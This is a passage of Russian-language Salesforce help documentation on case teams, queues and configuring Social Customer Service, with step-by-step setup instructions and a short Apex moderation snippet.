Совет: Роли не изменяют доступ владельца обращения к обращениям, для которых по умолчанию установлен
параметр «Для чтения и записи».

Предопределение групп, работающих с обращениями
Пользователь, определивший роли, может предопределить группы, работающие с обращениями, чтобы агенты
службы поддержки могли быстро добавлять в обращения лиц, с которыми часто работают.

Настройка электронных предупреждений для групп, работающих с обращениями
Создайте электронныепредупреждениядля групп, работающихсобращениями, чтобыуведомлять участников групп
о создании или обновлении обращения.

СМ. ТАКЖЕ:

Группы, работающие с обращениями

Настройка групп, работающих с обращениями
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Предопределение групп, работающих с обращениями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки групп,
работающих с
обращениями:
• «Настройка

приложения»

И

«Управление
пользователями»

Для добавления участников
рабочей группы:
• «Редактирование» для

обращений

Пользователь, определивший роли, может предопределить группы, работающие с
обращениями, чтобы агенты службы поддержки могли быстро добавлять в обращения
лиц, с которыми часто работают.

1. Введитестроку «Предопределенные группы, работающие с обращениями» вполе «Быстрый
поиск» меню «Настройка», затем выберите «Предопределенные группы,
работающие с обращениями».

2. Нажмите «Создать» и введите название группы.

3. Добавьте участников рабочей группы.

a. Выберитетипучастникарабочейгруппы: пользователь, контактилипользователь
клиентского портала. Обращения могут быть доступны контактам, только если
они включены в качестве пользователей клиентского портала и назначены для
макетов страниц обращений.

b. НажмитеПоиск ( ) и выберите участника.

c. Выберите роль для участника.

4. Нажмите кнопку «Сохранить».

Прим.: Чтобы удалить предопределенную группу, работающую с обращениями,
сначала удалите ееизправилназначения. Приудалениипредопределенная группа,
работающая с обращениями, удаляется из всех связанных обращений и не может
быть восстановлена из корзины. При удалении из предопределенной группы,
работающей с обращениями, участники удаляются из всех обращений, в которых
они являлись участниками группы.

СМ. ТАКЖЕ:

Группы, работающие с обращениями

Настройка групп, работающих с обращениями
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Настройка электронных предупреждений для групп, работающих с обращениями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки групп,
работающих с
обращениями:
• «Настройка

приложения»

И

«Управление
пользователями»

Для создания илиизменения
бизнес-правил:
• «Настройка

приложения»

Для создания илиизменения
электронных
предупреждений:
• «Настройка

приложения»

Создайте электронныепредупреждения для групп, работающих с обращениями, чтобы
уведомлять участников групп о создании или обновлении обращения.

1. Создайте шаблоны электронной почты для уведомлений.

2. Настройте бизнес-правила, которые определяют действия над обращением, при
выполнениикоторыхучастникамрабочейгруппыдолжныотправлятьсяэлектронные
уведомления.

a. Введите строку «Бизнес-правила» в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Бизнес-правила».

b. Нажмите кнопку «Создать правило».

c. Из списка «Выбрать объект» выберитеОбращение и нажмитеДалее.

d. Введите имя правила.

e. Выберитекритерииоценки. Для гарантииоценкикаждогообращениянапредмет
отправки электронного уведомления рекомендуется выбрать критерий оценки
«Оценить правило, если запись: создана и изменена».

f. Введите критерии правила. Рекомендуем выбрать «критерии выполняются», а
также критерий, которому должно соответствовать обращение для отправки
электронных предупреждений. Например, если требуется, чтобы участники
группы получали электронные предупреждения каждый раз, когда установлен
статусобращения «Создать», задайте значениекритерия «Обращение: «"Статус"
равно "Новое"».

g. Нажмите кнопку «Сохранить и перейти далее».

3. Добавьте электронные предупреждения в критерий бизнес-правила.

a. ЩелкнитеДобавить действие бизнес-правила и выберитеСоздать
электронное предупреждение.

b. Введите описание и уникальное имя для электронного предупреждения.
Поскольку обращение выбирается как объект для бизнес-правила, объект
отобразится в режиме «Только для чтения».

c. Выберите шаблон эл. почты.

d. Выберите получателя электронных предупреждения в бизнес-правиле. Для выбора всех участников группы,
работающей с обращениями, выберите «Группа, работающая с обращениями» из списка «Тип получателя» и
добавьте группу в качестве выбранных получателей. Введите не более пяти дополнительных адресов эл. почты.

e. Нажмите кнопку «Сохранить».

4. Активируйте бизнес-правило и связанное электронное предупреждение.

a. Введите строку «Бизнес-правила» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Бизнес-правила».

b. Щелкните ссылку «Активировать» напротив имени нужного правила.
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Прим.: Чтобы предотвратить отправку электронных предупреждений нажмите «Деактивировать» в любое
время. При деактивации правила, содержащего отложенные действия, данные действия завершаются только
после обновления записи, инициировавшей выполнение правила.

СМ. ТАКЖЕ:

Группы, работающие с обращениями

Настройка групп, работающих с обращениями

Управление шаблонами эл. почты

Очереди

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Очереди интересов,
обращений и сервисных
контрактов недоступны в
версиях: Database.com
Edition.

Очередипомогаютранжировать, распространятьиназначать записи группамсобщими
нагрузками. Доступкочередямосуществляетсяиз списковыхпредставлений. Участники
очереди могут открыть в ней любую запись и принять ответственность за нее. Очереди
доступныдляинтересов, обращений, сервисныхконтрактовинастраиваемыхобъектов.

Чтобы вручную добавить запись в очередь, измените ответственного записи. Кроме
того, можно использовать правила назначения для добавления в очередь обращений
или интересов на основе критериев, например «"Происхождение" равно "Эл. почта"».
Запись хранится в очереди, пока ей не будет назначен ответственный или участник
очереди не примет за нее ответственность. Ответственность за записи, находящиеся в
очереди, назначается любому участнику очереди или вышестоящему пользователю в
иерархии ролей.

Очереди интересов используются для распределения интересов и предоставления к
ним общего доступа в группе сотрудников по продажам, закрепленных за конкретным
регионом (западным или восточным). Очереди обращений используются для
распределения обращений и предоставления к ним общего доступа в группе агентов
службы поддержки, закрепленных за определенным уровнем обслуживания (например
«Золотоеобслуживание» или «Серебряноеобслуживание»). Очередиверсийстатейбазы
знаний используются для распределения новых версий статей среди переводчиков.

Создание очередей
С помощью очередей можно ранжировать и распространять записи, а также назначать их группам, у которых есть
общаяработа. Ограниченияпоколичествусоздаваемыхпользователемочередейнет, можноназначатьвремяполучения
участниками очереди уведомлений по электронной почте.

СМ. ТАКЖЕ:

Группы, работающие с обращениями
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Создание очередей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Очереди интересов,
обращений и сервисных
контрактов недоступны в
версиях: Database.com
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
очередей:
• «Настройка

приложения»

И

«Управление
общедоступными
списковыми
представлениями»

Для изменения очередей,
созданных другими
пользователями:
• «Настройка

приложения»

И

«Управление
общедоступными
списковыми
представлениями» и
«Управление
пользователями»

С помощью очередей можно ранжировать и распространять записи, а также назначать
их группам, у которых есть общая работа. Ограничения по количеству создаваемых
пользователем очередей нет, можно назначать время получения участниками очереди
уведомлений по электронной почте.

1. Введите строку «Очереди» в поле «Быстрый поиск» в меню «Настройка», затем
выберите пункт «Очереди».

2. Нажмите кнопку «Создать».

3. Заполните поля «Метка» и «Имя». Поле «Метка» отображается в пользовательском
интерфейса в виде спискового представления, а поле «Имя» используется
API-интерфейсом и управляемыми пакетами.

4. Настройте параметры электронных уведомлений для очереди.

УсловиеЦель

Введите адрес эл. почты в поле «Адрес
эл. почты очереди». Адрес
электроннойпочтыможетпринадлежать
отдельному пользователю или списку
адресатов.

Один адрес электронной почты при
добавлении новых записей в очередь.

Пропустите поле «Адрес эл. почты
очереди».

Все участники очереди по отдельности
при добавлении новых записей в
очередь.

Введитеадрес электроннойпочтывполе
«Адрес эл. почты очереди» и
установите флажок «Отправить
участникам сообщение эл. почты».

Все участники очереди и значение поля
«Адрес эл. почты очереди» по
отдельности при добавлении новых
записей в очередь.

5. Если в организации есть подразделения, выберите стандартное подразделение
очереди. Обращения наследуют подразделение связанного контакта, однако если
обращение не имеет контакта, то оно назначается стандартному глобальному
подразделению.

6. Выберите объекты, доступные для очереди. Пользователь может добавлять
обращения, интересы, заказы, настраиваемые объекты, сервисные контакты или
версии статей базы данных.

7. Добавьте участников очереди. Участником может быть отдельный пользователь,
роль, общедоступная группа, территория, подключение или пользователь-партнер.

. В зависимости от параметров общего доступа организации, записи очереди могут
принадлежатьтолькоучастникамочередиивышестоящимпользователямвиерархии
ролей.

8. Нажмите кнопку «Сохранить».
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Совет: После создания очереди для обращений или интересов вы можете настроить принятие ролей с целью
отслеживания обращений или интересов.

Прим.: Передудалениемочередипереназначьтеее записидругимответственнымиудалитеихизправилназначения.

СМ. ТАКЖЕ:

Очереди

Группы, работающие с обращениями
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Добавление функции социального обслуживания клиентов

Общие сведения о функции социального обслуживания клиентов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Функция социального
обслуживания клиентов
доступна в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для администрирования
функции социального
обслуживания клиентов:
• «Управление

пользователями»

И

«Настройка
приложения»

Для создания элементов
ленты обращений:
• Функция отслеживания

лент для всех связанных
объектов объекта
«Обращение»

Для отправки и получения
сообщений социальной
сети:
• Лента обращений

включена

И

Доступ к социальной
организации

Функциясоциальногообслуживанияклиентовпозволяетотвечатьклиентампосредством
социальных сетей и собирать важные сведения об обращениях.

Важное замечание:  If your organization was created prior to Spring ‘16, log a Salesforce
support ticket to enable the Social Objects and Social Publisher organization permissions. If
you have two or fewer social accounts to track, you can use the starter pack. Otherwise, you
must have sufficient Social Studio accounts. If you are switching from the Radian6 for Salesforce
package, make note of it in your support ticket.

Функция социального обслуживания клиентов интегрируется с Radian6 и Social Studio,
позволяяагентамслужбыподдержкииторговымпредставителямобрабатыватьинтересы
иобращенияклиентов, созданныесиспользованиемсоциальныхсетей Twitter и Facebook.
Администраторы могут настраивать способ обработки входящего содержимого
социальных сетей посредством класса Apex и выбирать пользователей организации,
которые могут отправлять ответы посредством каналов социальной сети. Элементы
ленты создаются для входящего и исходящего содержимого, позволяя агентам службы
поддержки оперативно помогать текущим клиентам, а торговым представителям
эффективно взаимодействовать с потенциальными клиентами.

Прим.: Преобразованиеинтересаворганизациюиликонтактинициируетудаление
социальных элементов из ленты.

Приподдержкебыстрого текста агентымогут создавать готовыеответыдля социальных
сетей. См. разделы «Включение быстрого текста» и «Создание сообщений "Быстрый
текст"».

Приложение Salesforce1 позволяет агентам просматривать и отвечать на содержимое
социальных сетей на мобильных устройствах.

При использовании организаций Twitter ленты обращений и интересов позволяют
агентампросматриватьисходное содержимое, отправлятьповторные заметки, помечать
содержимое как избранное, отслеживать заметки, отправлять ответы на заметки или
прямые сообщения и удалять заметки, управляемые социальными организациями.

Прииспользованииорганизаций Facebook обращенияиинтересысоздаютсяпосредством
управляемой страницы Facebook, а ленты позволяют агентам просматривать исходное
содержимое (например, сообщенияикомментарии), отправлятьсообщения, комментарии,
ответы или личные сообщения и удалять сообщения, управляемые социальными
организациями.

СМ. ТАКЖЕ:

Внедрение функции социального обслуживания клиентов

Советы по использованию социального действия
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Внедрение функции социального обслуживания клиентов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Функция социального
обслуживания клиентов
доступна в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для администрирования
функции социального
обслуживания клиентов:
• «Управление

пользователями»

И

«Настройка
приложения»

Для создания элементов
ленты обращений:
• Функция отслеживания

лент для всех связанных
объектов объекта
«Обращение»

Рекомендуем включитьфункцию социального обслуживания клиентов в организации
и настроить возможности агентов службы поддержки.

• Настройка функции социального обслуживания клиентов

• Создание интерфейса социального действия

• Включение модерирования для функции социального обслуживания клиентов

• Изменение стандартного класса Apex

СМ. ТАКЖЕ:

Советы по использованию социального действия

Управление сообщениями социальной сети

Управление социальными образами
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Настройка функции социального обслуживания клиентов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Функция социального
обслуживания клиентов
доступна в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для администрирования
функции социального
обслуживания клиентов:
• «Управление

пользователями»

И

«Настройка
приложения»

Для создания элементов
ленты обращений:
• Функция отслеживания

лент для всех связанных
объектов объекта
«Обращение»

Рекомендуем включить функцию социального обслуживания клиентов, установить
пакет socialcustomerservice, синхронизировать социальные организации и назначить
двойные указатели на социальные сети.

Важное замечание: Если организация была создана до выпуска версии Spring ‘16,
войдите в службуподдержки Salesforce, чтобывключитьполномочияорганизации
«Социальные объекты» и «Социальныйпубликатор». Приотслеживаниине более
двух социальных организаций воспользуйтесь начальнымпакетом. Вином случае
у вас должны быть соответствующие организации Social Studio. При переходе с
пакета Radian6 на пакет Salesforce сообщите об этом в службу поддержки.

Организация должна настроить службу Social Studio и выбрать источник данных для
сбора входящего содержимого из социальных сетей Twitter и Facebook. При
использовании начальной организации данная настройка выполняется системой
Salesforce.

Важное замечание: Создание элементов ленты обращения доступно только при
включениифункцииотслеживаниялентыобращениядлявсехсвязанныхобъектов.
См. раздел «Настройкалентыобращений»настранице2897. Дляинтересоввменю
настройкивведите «Отслеживание ленты» вполе «Быстрый поиск», затемвыберите
«Отслеживаниеленты»иустановитефлажки «Включить отслеживание ленты»
и «Все связанные объекты». Преобразованиеинтересаворганизациюиликонтакт
инициирует удаление социальных элементов из ленты.

1. Из меню «Настройка» введите «Социальные сети» в поле «Быстрый поиск», затем
выберите «Параметры».

2. Установите флажок «Включить социальное обслуживание клиентов» на вкладке
«Параметры».

Пакет socialcustomerservice установлен.

3. Еслитребуется утверждать сообщенияпередотправкой, проверьтеналичиефлажка
напротив «Активировать утверждения сообщений социальных сетей».

В рамках процесса обучения или обзора качества пользователь может потребовать
отнекоторыхагентовутверждатьсвоисообщения, анеразрешатьихсвободнуюпубликацию. Спомощьюпроцессов
утверждения и полномочий пользователя избранные агенты смогут отправлять сообщения социальных сетей на
утверждение, отзывать сообщения и повторять либо повторно отправлять их. Ответственные смогут утверждать и
отклонять сообщения, предназначенные для публикации. См. раздел «Активация утверждений для сообщений
социальной сети» на странице 3153.

4. В разделе «Регистрационные данные Social Studio» щелкните «Создать организацию» для создания
организации Social Studio посредством начального пакета илищелкните «Вход» для ввода регистрационных данных
Social Studio.

Прим.: Начальный пакет позволяет включать функцию социального обслуживания клиентов и не более двух
социальных организаций из любой социальной сети. Например, при добавлении одного аккаунта Twitter
разрешаетсядобавитьтолькоодинаккаунт Facebook. Организация Social Studio неможетбыть замененаначальным
пакетом. Начальныйпакетнеподдерживаетфункциюмодерирования (все сообщениястановятсяобращениями)
и настройку стандартного кода Apex.
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5. Нажмитекнопку«Добавитьорганизацию»навкладке «Социальныеорганизации» ивыберитенужнуюсоциальную
сеть (например, Twitter или Facebook).

Данноедействиеоткрывает выбраннуюсоциальнуюсетьиотображает запроснапроверкуподлинностиорганизации.
По завершении проверки подлинности организации система Salesforce возвращает пользователя на вкладку
«Социальные организации».

Прим.: При отображении ошибки «К сожалению, регистрация бизнес-аккаунтов Facebook временно не
поддерживается.» или «Аккаунт Facebook не может быть добавлен ввиду наличия неподдерживаемыхфункций.»
рекомендуем задать имя пользователя на странице Facebook.

6. Щелкните значок обновления напротив кнопки «Добавить организацию».

Прим.: Социальныеорганизации, недоступныепользователю, автоматическиотключаютсяинеотображаются
в списке активных организаций.

7. При использовании начального пакета установите флажок «Создание обращения» для автоматического создания
обращений при получении сообщений от социальной организации.

Например, при наличии двух двойных указателей Twitter (один для справочной и один для маркетинговой или
фирменной информации) обращения могут создаваться автоматически только на основе двойного указателя для
справочной информации. Заметки на основе двойного указателя для маркетинговой информации добавляются в
очередь сообщений социальной сети на проверку. См. раздел «Управление сообщениями социальной сети» на
странице 2626.

Прим.: При использовании полной версии функции социального обслуживания клиентов рекомендуем
настроить модерирование обращений посредством Social Studio. См. раздел «Включение модерирования для
функции социального обслуживания клиентов» на странице 3154.

8. Еслиимеетсяпортфолиоуправляемыхсоциальныхорганизаций, установитефлажокнапротив «Стандартные ответы
от» для каждойорганизации Twitter, Instagram (пробная версия) и Sina Weibo (пробная версия). Этопозволитповысить
стандартизациюивниманиекподдержкетоварногознакапользователяза счетустановкислужбыподдержки, например
@acmehelp или @acmesupport. Кроме того, агенты смогут отправлять исходящие сообщения без лишних переходов,
т. к. выбраннаяорганизацияпоявитсяввидестандартногозначениявраскрывающемсяспискеорганизацийобозревателя
социальной сети. Обработка стандартного ответа не применяется для прямых сообщений Twitter и не влияет на
Facebook, Google Plus или LinkedIn, поскольку они ограничены самой страницей.

9. Просмотрите класс Apex, определяющий способ обработки входящего содержимого, и пользователя, выбранного
для его управления, на вкладке «Параметры входящего содержимого». Прииспользованиистандартного классаApex
выберите входящие бизнес-правила для определения способа обработки входящих сведений из социальных сетей.

Включить повторное открытие обращений
Повторное открытие обращения в течение указанного количества дней при связывании нового сообщения от
того же социального образа с закрытым обращением. Число должно быть больше или равно 1 и меньше или
равно 3000.

Использовать организации-лица
Назначение организации-лица выбранного типа для родительской записи социального образа.

Создать обращение для тегов сообщения
Переопределение правил создания обращения Social Hub и создание обращения при наличии выбранных тегов
в сообщениисоциальнойсети. Тегисообщенияиспользуютсядляответана вопрос «Какая теманазначенаданному
сообщению?». Теги сообщения, заданные в Social Hub, позволяют указывать дополнительный контекст для
содержимого отдельного сообщения.
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Стандартный класс Apex создает сообщение социальной сети, социальный образ, обращение и контакт, а также
поддерживает типичные случаииспользования. Дополнительнуюинформациюпоизменениюстандартного класса
Apex см. в разделе «Изменение стандартного класса Apex».

Прим.: ПрииспользованииначальногопакетаизменениеклассаApexнеподдерживается. Разрешаетсяизменять
только выполняющего пользователя.

10. Чтобы назначить двойные указатели профилю или набор полномочий, сделайте следующее, не выходя из окна
настройки.

• Введите строку «Профили» в поле «Быстрый поиск» и выберите пункт «Профили».

• Введите строку «Наборы полномочий» в поле «Быстрый поиск» и выберите пункт «Наборы полномочий».

11. Выберите готовый профиль или набор полномочий или добавьте новый.

12. Щелкните «Назначенные социальные организации» в разделе «Приложения».

13. Нажмите кнопку «Правка».

14. Назначьте нужные социальные организации.

Важное замечание: Всем пользователям должен быть назначен профиль или набор полномочий, выбранный
или созданный в действии 8.

15. Сохраните внесенные изменения.

16. Убедитесь, что профилю или набору полномочий назначена правильная доступность полей.

• Дляпрофилей введите строку «Профили» в поле «Быстрый поиск» в меню «Настройка», выберите «Профили»,
затем укажите нужный профиль. Затем в разделе «Безопасность полей» выберите «Сообщение социальной
сети».

• Для наборов полномочий введите строку «Наборы полномочий» в поле «Быстрый поиск» в меню «Настройка»,
выберите «Наборы полномочий», затем укажите нужный набор. Далее щелкните «Параметры объектов» и
выберите «Сообщение социальной сети».

17. Нажмитекнопку «Правка». Убедитесь, чтовсемполямзаданополномочие «Доступно» (дляпрофилей) или «Правка»
(для наборов полномочий) в разделе «Полномочия поля». Нажмите кнопку «Сохранить».

18. При необходимости настройте быстрый текст, позволяющий агентам создавать готовые ответы для социальных
сетей. См. раздел «Включение быстрого текста».
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19. Дополнительно можете назначить сообщению социальной сети доступ на чтение к внешнему сообществу и
пользователям портала.

Чтобы сообщения социальной сети были доступны в сообществах и на порталах, должны быть выполнены три
условия.

• Пользователь должен иметь доступ к обращениям в сообществе.

• Дайте пользователям полномочие на чтение сообщений социальных сетей в их профилях.

• Включите доступность отдельных полей в объекте «Сообщение социальной сети» вашей организации, изменив
настройки безопасности полей.

Прим.: Если эти условия выполнены, то внешние пользователи смогут видеть все социальные сообщения,
представленные им. Например, если лента обращений или интересов открыта для наружного доступа, то все
социальные сообщения в ленте будут доступны. На данный момент нет возможности ограничить видимость
элементов на уровне объектов социальных сообщений.

Рекомендуем включитьфункциюотслеживания журнала для объектов «Социальный образ» и «Сообщение социальной
сети» на первые месяцыиспользованияфункции социального обслуживания клиентов. Функция отслеживанияжурнала
позволяет определять авторов и время внесения изменений, а также различать автоматические и ручные изменения.

СМ. ТАКЖЕ:

Отслеживание журнала поля
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Активация подтверждений сообщений социальной сети

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Функция социального
обслуживания клиентов
доступна в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для администрирования
функции социального
обслуживания клиентов:
• «Управление

пользователями»

И

«Настройка
приложения»

Для создания элементов
ленты обращений:
• Функция отслеживания

лент для всех связанных
объектов объекта
«Обращение»

Агенты социальнойпомощирешаютпроблемывашихпользователейиодновременно
отображают ваш логотип в социальных сетях, например Facebook и Twitter. У компании
могут быть рекомендации по написанию агентами сообщений в нужном стиле,
соответствующем стратегии социальных сетей вашей организации. Например, можно
велеть социальным агентам подписывать свои заметки стандартно, допустим «Игорь».

Администраторы Salesforce могут создавать процессы утверждения и назначать
полномочия агентов и ответственных.

1. Из меню «Настройка» введите «Социальные сети» в поле «Быстрый поиск», затем
выберите «Параметры».

2. Выберите «Активировать утверждения сообщений социальных сетей».

3. Создание и активация процессов утверждения сообщений социальных сетей с
использованием «Мастера запуска» или «Стандартного мастера настройки».

Важное замечание: Мастер запуска — это популярное усовершенствованное
средство создания процессов утверждения в Salesforce. Как бы то ни было,
параметр «Позволить отправителю вручную выбрать ответственного за
утверждение» неподдерживается вМастере запуска. Выборданногопараметра
приводит в возникновению ошибок в дальнейшем, когда агент отправит
сообщение на утверждение.

4. Последовательно выберите пункты «Администрировать» > «Управление
пользователями» > «Наборы полномочий» в меню «Настройка».

5. Активируйтеновоеполномочиепользователя «Требовать утверждения сообщений
социальной сети».

6. Назначьте полномочие «Требовать утверждения сообщений социальной сети» с
набором полномочий для агентов, которым может понадобиться просматривать
сообщения до их отправки.

При назначении полномочий пользователя помните о двух следующих условиях.

• Так как утверждение сообщения автоматически отправляет его на публикацию,
ответственныедолжныиметь тотже доступ к организациям в социальных сетях, чтои агенты, работу которыхони
просматривают. В ином случае утверждаемые ими сообщения будут содержать ошибки.

• Если в полномочия пользователя входит «Требовать утверждения сообщений социальной сети», то кнопка
отправки в обозревателе социальной сети всегда будет читаться как «Отправить на утверждение», а не как
«Комментировать», «Заметка» или другие слова. Это так, даже если к пользователю не применяется никакого
активного утверждения. В этом случае при нажатии кнопки «Отправить на утверждение» будет опубликовано
сообщение в социальной сети, если не действует активный процесс утверждения.

Чтобы получить дополнительную информацию, см. раздел «Создание процесса утверждения» на странице 4841,
«Контрольный список процесса утверждения» на странице 4833, а также «Полезные процессы утверждения».

Совет: Еслиагентыработаютсостраницамисведенийозаписяхсоциальныхсообщений, ане слентойобращений,
то рекомендуется удалять утверждения, связанные со списком из макета страницы. Тотже макет страницы доступен
идлявходящих, идляисходящихсообщений. Удалениеутвержденийсвязанногоспискапомогаетизбежатьпутаницы
при просмотре входящих сообщений, которые являются недействительными для процесса утверждения.
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Ответственныемогут утверждатьилиотклонять сообщениявсемипривычнымисредствами, напримерэлектронной
почтой, Chatter и списковыми представлениями.

Включение модерирования для функции социального обслуживания клиентов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Функция социального
обслуживания клиентов
доступна в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для администрирования
функции социального
обслуживания клиентов:
• «Управление

пользователями»

И

«Настройка
приложения»

Рекомендуем использовать модерирование для управления входящими сообщениями
и создания обращений только для важных сообщений. Модерирование позволяет
организации концентрировать внимание на реальных проблемах клиентов и избегать
открытия ненужных обращений.

Некоторые сообщения не требуют создания обращений (например, дополнительные
заметки). Темнеменее, приактивациистандартнойфункциисоциальногообслуживания
клиентов обращения создаются автоматически для каждого сообщения социальной
сети. Модерирование позволяет агентам выбирать сообщения, которые должны быть
дополнены обращениями или пропущены. Модерирование поддерживает правило
Social Hub в организации Social Studio, предназначенное для выключения функции
автоматического создания обращений.

Прим.: При использовании начального пакета рекомендуем определить
необходимость автоматическогосозданияобращенийприполучениисообщений
ототдельнойорганизациивсоциальнойсетинавкладке «Организациисоциальной
сети». См. раздел «Настройка функции социального обслуживания клиентов» на
странице 3150.

1. Откройте вкладку «Правила» в организации Social Studio.

2. Чтобы отменить создание обращений в системе Salesforce, воспользуйтесь готовым
правилом или создайте новое.

Например, выберите настройки ниже.

a. Действие: отправить в систему Salesforce.

b. Флажок «Создать обращение»: не установлен.

3. Сохраните и включите правило.

Прим.: При необходимости включите правило для всех сообщений социальной сети или только сообщений,
отправляемых конкретными управляемыми организациями.

Созданиеобращенийможноизменить, реализовав собственнуюлогикуихобработки в классеApex. Вменю «Настройка»
введите «Социальные сети» вполе «Быстрый поиск», затемвыберите «Параметры». См. раздел «Изменениестандартного
класса Apex».

Прим.: Если пользователь начал использоватьфункцию социального обслуживания клиентов до выпуска версии
Spring ‘16 и у него установлен класс Apex, может потребоваться обновить класс Apex, чтобы иметь возможность
воспользоваться новейшимифункциями модерирования. Если настраиваемый класс Apex расширен за счет
стандартного класса Apex, вы получите обновление вызванных стандартных функций Apex. Если настраиваемый
класс Apex не расширен стандартным классом Apex (при копировании стандартной версии и ее изменении),
потребуется обновление вручную.

Чтобы вручную обновить настраиваемый класс Apex, введите следующий код и обновите фильтр модерирования
списка сообщений социальной сети.
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1. Воспользуйтесь этим методом непосредственно перед вводом сообщения после установления в нем всех
взаимосвязей.

private void setModeration(SocialPost post){
//if we don't automatically create a case, we should flag the post as requiring

moderator review.
if(post.parentId == null)

post.reviewedStatus = 'Needed';
}

По вопросу стандартной версии Apex см. строки 50 и 61–65.

2. Обновите фильтр модерирования списка сообщений социальной сети с:

Parent EQUAL TO "" AND ReviewStatus NOT EQUAL TO "ignore"

на:

Parent EQUAL TO "" AND ReviewStatus EQUAL TO "Needed"

Чтобыубедиться, чтовыможетепродолжатьотслеживаниесообщенийсоциальнойсетивочерединамодерирование
в данный момент, составьте списковое представление с использованием новогофильтра и перейдите к нему, когда
старый и новый фильтр покажут одинаковые результаты.
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Создание интерфейса социального действия

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Функция социального
обслуживания клиентов
доступна в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для администрирования
функции социального
обслуживания клиентов:
• «Управление

пользователями»

И

«Настройка
приложения»

Для создания элементов
ленты обращений:
• Функция отслеживания

лент для всех связанных
объектов объекта
«Обращение»

Включение функции социального обслуживания клиентов инициирует создание
социального действия. При необходимости добавьте, удалите или систематизируйте
поля в соответствии с требованиями организации.

Включение функции социального обслуживания клиентов инициирует создание
социального действия.

1. Откройте страницу «Кнопка, ссылки и действия» с использованием параметров
управления обращениями.

2. Щелкните ссылку «Макет» напротив метки «Социальное действие».

3. Измените нужные поля.

Прим.: Изменение значений полей может повредить входящие сообщения
относительно класса Apexфункции социального обслуживания клиентов.

Ниже перечислены поля социального действия, необходимые для отправки
содержимого социальных сетей.

• В ответ на:

• Управляемая социальная организация

• Тип сообщения

• Содержимое

Поля «Заголовок» и «Имя» являются обязательными. Чтобы удалить данные
поля, создайте предопределенное значение для каждого поля и удалите их из
действия. См. раздел «Настройка предопределенных значений для полей
быстрых действий».

4. Нажмите кнопку «Сохранить».

5. Откройте страницу «Макеты страниц» посредством параметров управления
обращениями.

6. Щелкните ссылку «Правка» напротив строки «Макет на основе ленты» в разделе
«Обращение: макеты страниц».

7. Щелкните «Быстрые действия» на палитре.

8. Убедитесь, что социальное действие находится в разделе «Быстрые действия» публикатора Salesforce Classic макета.

9. Чтобы включить социальное действие для интересов, повторите шаги 5–8 для объекта «Интересы» (перейдите к
макетам страниц из окна настроек управления объектами).
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Изменение стандартного класса Apex

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Функция социального
обслуживания клиентов
доступна в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Чтобы определить способ обработки входящего содержимого социальных сетей,
рекомендуем настроить стандартный класс Apex.

Стандартный класс Apex для функции социального обслуживания клиентов создает
сообщение социальной сети, социальный образ, обращение и контакт, а также
поддерживает типичные случаи использования. Чтобы настроить способ обработки
данных, рекомендуем создать новый класс Apex.

Важное замечание: Еслиагентыиспользуютфункциюсоциальногообслуживания
клиентовдляотправкиличныхсообщенийпользователям Facebook, ошибкиможно
предотвратить или исправить за счет обновления классов Apex до последней
доступнойверсии Salesforce API. Вчастности, класс Apex с добавлениемсообщений
должен соответствовать версии 32 или более поздней.

Приизменении стандартного класса Apex рекомендуем выбрать новый класс Apex на странице настройки, которая также
позволяет просматривать ошибки обработки Apex. Из меню «Настройка» введите «Социальные сети» в поле «Быстрый
поиск», затем выберите «Параметры». При наличии ошибок администратору отправляется сообщение эл. почты; как
правило, данные сохраняются и могут быть обработаны повторно. Если повторная обработка требуется для слишком
большого количества ошибок, то выполнение правил Salesforce Social Hub автоматически приостанавливается.

Мыпредоставили тесты для стандартного класса Apex. После изменения класса Apex следует соответствующим образом
изменить и тесты.

Прим.: Социальные образы, созданные после выпуска Summer 15, имеют поле, в котором указана социальная сеть,
где был создан образ: Исходное приложение. Поле задается при создании, после чего изменить его нельзя. Если
ваша организация применяет собственный класс Apex, его следует обновить так, чтобы это поле использовалось.
Помните, что социальные образы, созданные до выпуска Summer 15, не содержат такого поля. Кроме того, при
каждом добавлении новых полей в социальное действие следует обновлять вашу версию класса Apex, иначе новые
поля не будут сохранены.

Чтобы создать новый класс Apex, в программе настройки введите «Классы Apex» в поле «Быстрый поиск», затем
выберите «Классы Apex». Чтобы выполнить перечисленные ниже действия, воспользуйтесь кодом ниже.

